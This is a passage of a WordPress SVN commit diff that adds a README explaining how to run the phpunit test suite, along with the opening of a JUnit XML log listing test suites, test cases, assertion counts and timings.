<li><a href="#trunkteststestsoptionslashesphp">trunk/tests/tests/option/slashes.php</a></li>
<li><a href="#trunkteststestsoptiontransientphp">trunk/tests/tests/option/transient.php</a></li>
<li>trunk/tests/tests/pomo/</li>
<li><a href="#trunkteststestspomomophp">trunk/tests/tests/pomo/mo.php</a></li>
<li><a href="#trunkteststestspomonoopTranslationsphp">trunk/tests/tests/pomo/noopTranslations.php</a></li>
<li><a href="#trunkteststestspomopophp">trunk/tests/tests/pomo/po.php</a></li>
<li><a href="#trunkteststestspomotranslationEntryphp">trunk/tests/tests/pomo/translationEntry.php</a></li>
<li><a href="#trunkteststestspomotranslationsphp">trunk/tests/tests/pomo/translations.php</a></li>
<li>trunk/tests/tests/post/</li>
<li><a href="#trunkteststestspostattachmentsphp">trunk/tests/tests/post/attachments.php</a></li>
<li><a href="#trunkteststestspostfilteringphp">trunk/tests/tests/post/filtering.php</a></li>
<li><a href="#trunkteststestspostformatsphp">trunk/tests/tests/post/formats.php</a></li>
<li><a href="#trunkteststestspostgalleryphp">trunk/tests/tests/post/gallery.php</a></li>
<li><a href="#trunkteststestspostgetPagesphp">trunk/tests/tests/post/getPages.php</a></li>
<li><a href="#trunkteststestspostmetaphp">trunk/tests/tests/post/meta.php</a></li>
<li><a href="#trunkteststestspostobjectsphp">trunk/tests/tests/post/objects.php</a></li>
<li><a href="#trunkteststestspostoutputphp">trunk/tests/tests/post/output.php</a></li>
<li><a href="#trunkteststestspostqueryphp">trunk/tests/tests/post/query.php</a></li>
<li><a href="#trunkteststestspostrevisionsphp">trunk/tests/tests/post/revisions.php</a></li>
<li><a href="#trunkteststestspostslashesphp">trunk/tests/tests/post/slashes.php</a></li>
<li><a href="#trunkteststestsposttypesphp">trunk/tests/tests/post/types.php</a></li>
<li><a href="#trunkteststestspostphp">trunk/tests/tests/post.php</a></li>
<li>trunk/tests/tests/query/</li>
<li><a href="#trunkteststestsqueryconditionalsphp">trunk/tests/tests/query/conditionals.php</a></li>
<li><a href="#trunkteststestsqueryresultsphp">trunk/tests/tests/query/results.php</a></li>
<li><a href="#trunkteststestsqueryverboseRewriteRulesphp">trunk/tests/tests/query/verboseRewriteRules.php</a></li>
<li><a href="#trunkteststestsqueryphp">trunk/tests/tests/query.php</a></li>
<li><a href="#trunkteststestsshortcodephp">trunk/tests/tests/shortcode.php</a></li>
<li><a href="#trunkteststeststaxonomyphp">trunk/tests/tests/taxonomy.php</a></li>
<li>trunk/tests/tests/term/</li>
<li><a href="#trunkteststeststermgetTermsphp">trunk/tests/tests/term/getTerms.php</a></li>
<li><a href="#trunkteststeststermslashesphp">trunk/tests/tests/term/slashes.php</a></li>
<li><a href="#trunkteststeststermphp">trunk/tests/tests/term.php</a></li>
<li>trunk/tests/tests/theme/</li>
<li><a href="#trunkteststeststhemeWPThemephp">trunk/tests/tests/theme/WPTheme.php</a></li>
<li><a href="#trunkteststeststhemesupportphp">trunk/tests/tests/theme/support.php</a></li>
<li><a href="#trunkteststeststhemethemeDirphp">trunk/tests/tests/theme/themeDir.php</a></li>
<li><a href="#trunkteststeststhemethemeDirLargephp">trunk/tests/tests/theme/themeDirLarge.php</a></li>
<li><a href="#trunkteststeststhemephp">trunk/tests/tests/theme.php</a></li>
<li><a href="#trunkteststestsuploadphp">trunk/tests/tests/upload.php</a></li>
<li><a href="#trunkteststestsurlphp">trunk/tests/tests/url.php</a></li>
<li>trunk/tests/tests/user/</li>
<li><a href="#trunkteststestsuserauthorphp">trunk/tests/tests/user/author.php</a></li>
<li><a href="#trunkteststestsusercapabilitiesphp">trunk/tests/tests/user/capabilities.php</a></li>
<li><a href="#trunkteststestsusermapMetaCapphp">trunk/tests/tests/user/mapMetaCap.php</a></li>
<li><a href="#trunkteststestsuserqueryphp">trunk/tests/tests/user/query.php</a></li>
<li><a href="#trunkteststestsuserslashesphp">trunk/tests/tests/user/slashes.php</a></li>
<li><a href="#trunkteststestsuserphp">trunk/tests/tests/user.php</a></li>
<li><a href="#trunkteststestswidgetsphp">trunk/tests/tests/widgets.php</a></li>
<li>trunk/tests/tests/xmlrpc/</li>
<li><a href="#trunkteststestsxmlrpcbasicphp">trunk/tests/tests/xmlrpc/basic.php</a></li>
<li>trunk/tests/tests/xmlrpc/mt/</li>
<li><a href="#trunkteststestsxmlrpcmtgetRecentPostTitlesphp">trunk/tests/tests/xmlrpc/mt/getRecentPostTitles.php</a></li>
<li>trunk/tests/tests/xmlrpc/mw/</li>
<li><a href="#trunkteststestsxmlrpcmweditPostphp">trunk/tests/tests/xmlrpc/mw/editPost.php</a></li>
<li><a href="#trunkteststestsxmlrpcmwgetPostphp">trunk/tests/tests/xmlrpc/mw/getPost.php</a></li>
<li><a href="#trunkteststestsxmlrpcmwgetRecentPostsphp">trunk/tests/tests/xmlrpc/mw/getRecentPosts.php</a></li>
<li><a href="#trunkteststestsxmlrpcmwnewPostphp">trunk/tests/tests/xmlrpc/mw/newPost.php</a></li>
<li>trunk/tests/tests/xmlrpc/wp/</li>
<li><a href="#trunkteststestsxmlrpcwpdeletePostphp">trunk/tests/tests/xmlrpc/wp/deletePost.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpdeleteTermphp">trunk/tests/tests/xmlrpc/wp/deleteTerm.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpeditPostphp">trunk/tests/tests/xmlrpc/wp/editPost.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpeditProfilephp">trunk/tests/tests/xmlrpc/wp/editProfile.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpeditTermphp">trunk/tests/tests/xmlrpc/wp/editTerm.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetCommentphp">trunk/tests/tests/xmlrpc/wp/getComment.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetCommentsphp">trunk/tests/tests/xmlrpc/wp/getComments.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetMediaItemphp">trunk/tests/tests/xmlrpc/wp/getMediaItem.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetOptionsphp">trunk/tests/tests/xmlrpc/wp/getOptions.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetPagephp">trunk/tests/tests/xmlrpc/wp/getPage.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetPageListphp">trunk/tests/tests/xmlrpc/wp/getPageList.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetPagesphp">trunk/tests/tests/xmlrpc/wp/getPages.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetPostphp">trunk/tests/tests/xmlrpc/wp/getPost.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetPostTypephp">trunk/tests/tests/xmlrpc/wp/getPostType.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetPostTypesphp">trunk/tests/tests/xmlrpc/wp/getPostTypes.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetPostsphp">trunk/tests/tests/xmlrpc/wp/getPosts.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetProfilephp">trunk/tests/tests/xmlrpc/wp/getProfile.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetRevisionsphp">trunk/tests/tests/xmlrpc/wp/getRevisions.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetTaxonomiesphp">trunk/tests/tests/xmlrpc/wp/getTaxonomies.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetTaxonomyphp">trunk/tests/tests/xmlrpc/wp/getTaxonomy.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetTermphp">trunk/tests/tests/xmlrpc/wp/getTerm.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetTermsphp">trunk/tests/tests/xmlrpc/wp/getTerms.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetUserphp">trunk/tests/tests/xmlrpc/wp/getUser.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpgetUsersphp">trunk/tests/tests/xmlrpc/wp/getUsers.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpnewPostphp">trunk/tests/tests/xmlrpc/wp/newPost.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpnewTermphp">trunk/tests/tests/xmlrpc/wp/newTerm.php</a></li>
<li><a href="#trunkteststestsxmlrpcwprestoreRevisionphp">trunk/tests/tests/xmlrpc/wp/restoreRevision.php</a></li>
<li><a href="#trunkteststestsxmlrpcwpuploadFilephp">trunk/tests/tests/xmlrpc/wp/uploadFile.php</a></li>
<li><a href="#trunktestswpmailrealtestphp">trunk/tests/wp-mail-real-test.php</a></li>
<li><a href="#trunktestswptestsconfigsamplephp">trunk/tests/wp-tests-config-sample.php</a></li>
<li><a href="#trunktestswptestsconfigphp">trunk/tests/wp-tests-config.php</a></li>
</ul>

</div>
<div id="patch">
<h3>Diff</h3>
<a id="trunktestsREADMEtxt"></a>
<div class="addfile"><h4>Added: trunk/tests/README.txt (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/README.txt                           (rev 0)
+++ trunk/tests/README.txt      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,23 @@
</span><ins>+The short version:
+
+1. Create a clean MySQL database and user.  DO NOT USE AN EXISTING DATABASE or you will lose data, guaranteed.
+
+2. Copy wp-tests-config-sample.php to wp-tests-config.php, edit it and include your database name/user/password.
+
+3. $ svn up
+
+4. Run the tests from the "trunk" directory:
+   To execute a particular test:
+      $ phpunit tests/test_case.php
+   To execute all tests:
+      $ phpunit
+
+Notes:
+
+Test cases live in the 'tests' subdirectory.  All files in that directory will be included by default.  Extend the WP_UnitTestCase class to ensure your test is run.
+
+phpunit will initialize and install a (more or less) complete running copy of WordPress each time it is run.  This makes it possible to run functional interface and module tests against a fully working database and codebase, as opposed to pure unit tests with mock objects and stubs.  Pure unit tests may be used also, of course.
+
+Changes to the test database will be rolled back as tests are finished, to ensure a clean start next time the tests are run.
+
+phpunit is intended to run at the command line, not via a web server.
</ins></span></pre></div>
<a id="trunktestsbuildlogsjunitxml"></a>
<div class="addfile"><h4>Added: trunk/tests/build/logs/junit.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/build/logs/junit.xml                         (rev 0)
+++ trunk/tests/build/logs/junit.xml    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,2057 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8"?>
+<testsuites>
+  <testsuite name="" tests="1556" assertions="8018" failures="10" errors="0" time="135.670993">
+    <testsuite name="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" fullPackage="Tests" tests="13" assertions="42" failures="0" errors="0" time="1.266563">
+      <testcase name="test_simple_action" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="10" assertions="3" time="0.020172"/>
+      <testcase name="test_remove_action" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="26" assertions="4" time="0.002018"/>
+      <testcase name="test_has_action" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="45" assertions="6" time="0.002998"/>
+      <testcase name="test_multiple_actions" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="60" assertions="2" time="0.002287"/>
+      <testcase name="test_action_args_1" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="76" assertions="2" time="0.002582"/>
+      <testcase name="test_action_args_2" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="89" assertions="4" time="0.002571"/>
+      <testcase name="test_action_priority" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="111" assertions="2" time="0.003104"/>
+      <testcase name="test_did_action" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="140" assertions="4" time="0.001997"/>
+      <testcase name="test_all_action" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="160" assertions="4" time="0.002590"/>
+      <testcase name="test_remove_all_action" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="184" assertions="6" time="0.002700"/>
+      <testcase name="test_action_ref_array" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="204" assertions="2" time="0.002571"/>
+      <testcase name="test_action_keyed_array" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="223" assertions="2" time="1.218762"/>
+      <testcase name="test_action_self_removal" class="Tests_Actions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions.php" line="244" assertions="1" time="0.002211"/>
+    </testsuite>
+    <testsuite name="Tests_Actions_Callbacks" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions/callbacks.php" fullPackage="Tests.Actions" tests="1" assertions="3" failures="0" errors="0" time="0.002897">
+      <testcase name="test_callback_representations" class="Tests_Actions_Callbacks" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/actions/callbacks.php" line="11" assertions="3" time="0.002897"/>
+    </testsuite>
+    <testsuite name="Tests_Admin_includesFile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesFile.php" fullPackage="Tests.Admin" tests="1" assertions="4" failures="0" errors="0" time="0.011708">
+      <testcase name="test_get_home_path" class="Tests_Admin_includesFile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesFile.php" line="16" assertions="4" time="0.011708"/>
+    </testsuite>
+    <testsuite name="Tests_Admin_includesMisc" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesMisc.php" fullPackage="Tests.Admin" tests="1" assertions="6" failures="0" errors="0" time="0.002860">
+      <testcase name="test_shorten_url" class="Tests_Admin_includesMisc" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesMisc.php" line="7" assertions="6" time="0.002860"/>
+    </testsuite>
+    <testsuite name="Tests_Admin_includesPlugin" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesPlugin.php" fullPackage="Tests.Admin" tests="2" assertions="27" failures="0" errors="0" time="0.070894">
+      <testcase name="test_get_plugin_data" class="Tests_Admin_includesPlugin" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesPlugin.php" line="7" assertions="19" time="0.019278"/>
+      <testcase name="test_menu_page_url" class="Tests_Admin_includesPlugin" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesPlugin.php" line="30" assertions="8" time="0.051616"/>
+    </testsuite>
+    <testsuite name="Tests_Admin_includesPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesPost.php" fullPackage="Tests.Admin" tests="2" assertions="24" failures="0" errors="0" time="0.195096">
+      <testcase name="test__wp_translate_postdata_cap_checks_contributor" class="Tests_Admin_includesPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesPost.php" line="8" assertions="12" time="0.107658"/>
+      <testcase name="test__wp_translate_postdata_cap_checks_editor" class="Tests_Admin_includesPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesPost.php" line="63" assertions="12" time="0.087438"/>
+    </testsuite>
+    <testsuite name="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" fullPackage="Tests.Admin" tests="8" assertions="296" failures="0" errors="0" time="0.019145">
+      <testcase name="test_set_current_screen_with_hook_suffix" class="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" line="45" assertions="254" time="0.008448"/>
+      <testcase name="test_post_type_as_hookname" class="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" line="94" assertions="3" time="0.000648"/>
+      <testcase name="test_post_type_with_special_suffix_as_hookname" class="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" line="101" assertions="6" time="0.001328"/>
+      <testcase name="test_taxonomy_with_special_suffix_as_hookname" class="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" line="114" assertions="3" time="0.001455"/>
+      <testcase name="test_post_type_with_edit_prefix" class="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" line="122" assertions="6" time="0.001510"/>
+      <testcase name="test_post_type_edit_collisions" class="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" line="135" assertions="4" time="0.002137"/>
+      <testcase name="test_help_tabs" class="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" line="155" assertions="4" time="0.002707"/>
+      <testcase name="test_in_admin" class="Tests_Admin_includesScreen" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesScreen.php" line="178" assertions="16" time="0.000912"/>
+    </testsuite>
+    <testsuite name="Tests_Admin_includesTemplate" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesTemplate.php" fullPackage="Tests.Admin" tests="2" assertions="26" failures="0" errors="0" time="0.005278">
+      <testcase name="test_equal" class="Tests_Admin_includesTemplate" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesTemplate.php" line="6" assertions="20" time="0.002851"/>
+      <testcase name="test_notequal" class="Tests_Admin_includesTemplate" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesTemplate.php" line="38" assertions="6" time="0.002427"/>
+    </testsuite>
+    <testsuite name="Tests_Admin_includesTheme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesTheme.php" fullPackage="Tests.Admin" tests="1" assertions="5" failures="0" errors="0" time="0.036290">
+      <testcase name="test_page_templates" class="Tests_Admin_includesTheme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/admin/includesTheme.php" line="42" assertions="5" time="0.036290"/>
+    </testsuite>
+    <testsuite name="Tests_AdminBar" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/adminbar.php" fullPackage="Tests" tests="2" assertions="4" failures="0" errors="0" time="0.083977">
+      <testcase name="test_content_post_type" class="Tests_AdminBar" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/adminbar.php" line="29" assertions="2" time="0.039631"/>
+      <testcase name="test_merging_existing_meta_values" class="Tests_AdminBar" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/adminbar.php" line="46" assertions="2" time="0.044346"/>
+    </testsuite>
+    <testsuite name="Tests_Ajax_Autosave" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/Autosave.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_CompressionTest" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/Compression.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_DeleteComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/DeleteComment.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_DimComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/DimComment.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_EditComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/EditComment.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_GetComments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/GetComments.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_MediaEdit" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/MediaEdit.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_ReplytoComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/ReplytoComment.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_Response" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/Response.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Ajax_TagSearch" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/ajax/TagSearch.php" fullPackage="WordPress.UnitTests" package="WordPress" subpackage="UnitTests" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Attachment_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/attachment/slashes.php" fullPackage="Tests.Attachment" tests="1" assertions="6" failures="0" errors="0" time="0.051499">
+      <testcase name="test_wp_insert_attachment" class="Tests_Attachment_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/attachment/slashes.php" line="35" assertions="6" time="0.051499"/>
+    </testsuite>
+    <testsuite name="Tests_Auth" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/auth.php" fullPackage="Tests" tests="4" assertions="14" failures="0" errors="0" time="0.356872">
+      <testcase name="test_auth_cookie_valid" class="Tests_Auth" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/auth.php" line="14" assertions="1" time="0.054921"/>
+      <testcase name="test_auth_cookie_invalid" class="Tests_Auth" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/auth.php" line="19" assertions="3" time="0.049831"/>
+      <testcase name="test_auth_cookie_scheme" class="Tests_Auth" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/auth.php" line="35" assertions="2" time="0.043741"/>
+      <testcase name="test_password_trimming" class="Tests_Auth" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/auth.php" line="48" assertions="8" time="0.208379"/>
+    </testsuite>
+    <testsuite name="Tests_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/basic.php" fullPackage="Tests" tests="5" assertions="9" failures="0" errors="0" time="0.011055">
+      <testcase name="test_true" class="Tests_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/basic.php" line="21" assertions="1" time="0.001956"/>
+      <testcase name="test_globals" class="Tests_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/basic.php" line="26" assertions="2" time="0.002087"/>
+      <testcase name="test_globals_bar" class="Tests_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/basic.php" line="40" assertions="1" time="0.002246"/>
+      <testcase name="test_strip_ws" class="Tests_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/basic.php" line="48" assertions="4" time="0.002241"/>
+      <testcase name="test_mask_input_value" class="Tests_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/basic.php" line="75" assertions="1" time="0.002525"/>
+    </testsuite>
+    <testsuite name="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" fullPackage="Tests" tests="18" assertions="66" failures="0" errors="0" time="0.043311">
+      <testcase name="test_miss" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="27" assertions="1" time="0.002543"/>
+      <testcase name="test_add_get" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="31" assertions="1" time="0.002561"/>
+      <testcase name="test_add_get_0" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="39" assertions="1" time="0.002377"/>
+      <testcase name="test_add_get_null" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="48" assertions="2" time="0.002237"/>
+      <testcase name="test_add" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="57" assertions="4" time="0.002617"/>
+      <testcase name="test_replace" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="70" assertions="6" time="0.002502"/>
+      <testcase name="test_set" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="84" assertions="4" time="0.002597"/>
+      <testcase name="test_flush" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="97" assertions="2" time="0.001999"/>
+      <testcase name="test_object_refs" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="115" assertions="4" time="0.002742"/>
+      <testcase name="test_incr" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="137" assertions="3" time="0.002601"/>
+      <testcase name="test_wp_cache_incr" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="150" assertions="3" time="0.002527"/>
+      <testcase name="test_decr" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="163" assertions="4" time="0.002886"/>
+      <testcase name="test_wp_cache_decr" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="183" assertions="4" time="0.002277"/>
+      <testcase name="test_delete" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="200" assertions="5" time="0.002248"/>
+      <testcase name="test_wp_cache_delete" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="215" assertions="5" time="0.001867"/>
+      <testcase name="test_switch_to_blog" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="234" assertions="12" time="0.002382"/>
+      <testcase name="test_wp_cache_init" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="279" assertions="1" time="0.002516"/>
+      <testcase name="test_wp_cache_replace" class="Tests_Cache" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/cache.php" line="287" assertions="4" time="0.001832"/>
+    </testsuite>
+    <testsuite name="Tests_Canonical" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/canonical.php" fullPackage="Tests" tests="47" assertions="56" failures="0" errors="0" time="14.374428">
+      <testsuite name="Tests_Canonical::test" tests="47" assertions="56" failures="0" errors="0" time="14.374428">
+        <testcase name="test with data set #2" assertions="1" time="0.268433"/>
+        <testcase name="test with data set #3" assertions="2" time="0.273727"/>
+        <testcase name="test with data set #4" assertions="2" time="0.296572"/>
+        <testcase name="test with data set #5" assertions="2" time="0.295036"/>
+        <testcase name="test with data set #6" assertions="2" time="0.294538"/>
+        <testcase name="test with data set #9" assertions="3" time="0.282912"/>
+        <testcase name="test with data set #10" assertions="3" time="0.270354"/>
+        <testcase name="test with data set #11" assertions="1" time="0.270945"/>
+        <testcase name="test with data set #18" assertions="1" time="0.281535"/>
+        <testcase name="test with data set #19" assertions="1" time="0.300982"/>
+        <testcase name="test with data set #20" assertions="1" time="0.248142"/>
+        <testcase name="test with data set #21" assertions="1" time="0.289851"/>
+        <testcase name="test with data set #22" assertions="1" time="0.306610"/>
+        <testcase name="test with data set #23" assertions="1" time="0.265680"/>
+        <testcase name="test with data set #24" assertions="1" time="0.301229"/>
+        <testcase name="test with data set #25" assertions="1" time="0.301372"/>
+        <testcase name="test with data set #26" assertions="1" time="0.305861"/>
+        <testcase name="test with data set #27" assertions="1" time="0.304100"/>
+        <testcase name="test with data set #28" assertions="1" time="0.299827"/>
+        <testcase name="test with data set #29" assertions="1" time="0.318111"/>
+        <testcase name="test with data set #30" assertions="2" time="0.317497"/>
+        <testcase name="test with data set #32" assertions="1" time="0.332627"/>
+        <testcase name="test with data set #33" assertions="1" time="0.346187"/>
+        <testcase name="test with data set #37" assertions="1" time="0.323709"/>
+        <testcase name="test with data set #38" assertions="1" time="0.306353"/>
+        <testcase name="test with data set #39" assertions="1" time="0.352991"/>
+        <testcase name="test with data set #40" assertions="1" time="0.342040"/>
+        <testcase name="test with data set #41" assertions="1" time="0.333092"/>
+        <testcase name="test with data set #42" assertions="1" time="0.327346"/>
+        <testcase name="test with data set #43" assertions="1" time="0.313522"/>
+        <testcase name="test with data set #44" assertions="1" time="0.291620"/>
+        <testcase name="test with data set #45" assertions="1" time="0.318445"/>
+        <testcase name="test with data set #46" assertions="1" time="0.310959"/>
+        <testcase name="test with data set #49" assertions="1" time="0.303209"/>
+        <testcase name="test with data set #50" assertions="1" time="0.307127"/>
+        <testcase name="test with data set #51" assertions="1" time="0.303185"/>
+        <testcase name="test with data set #52" assertions="1" time="0.313254"/>
+        <testcase name="test with data set #53" assertions="1" time="0.296173"/>
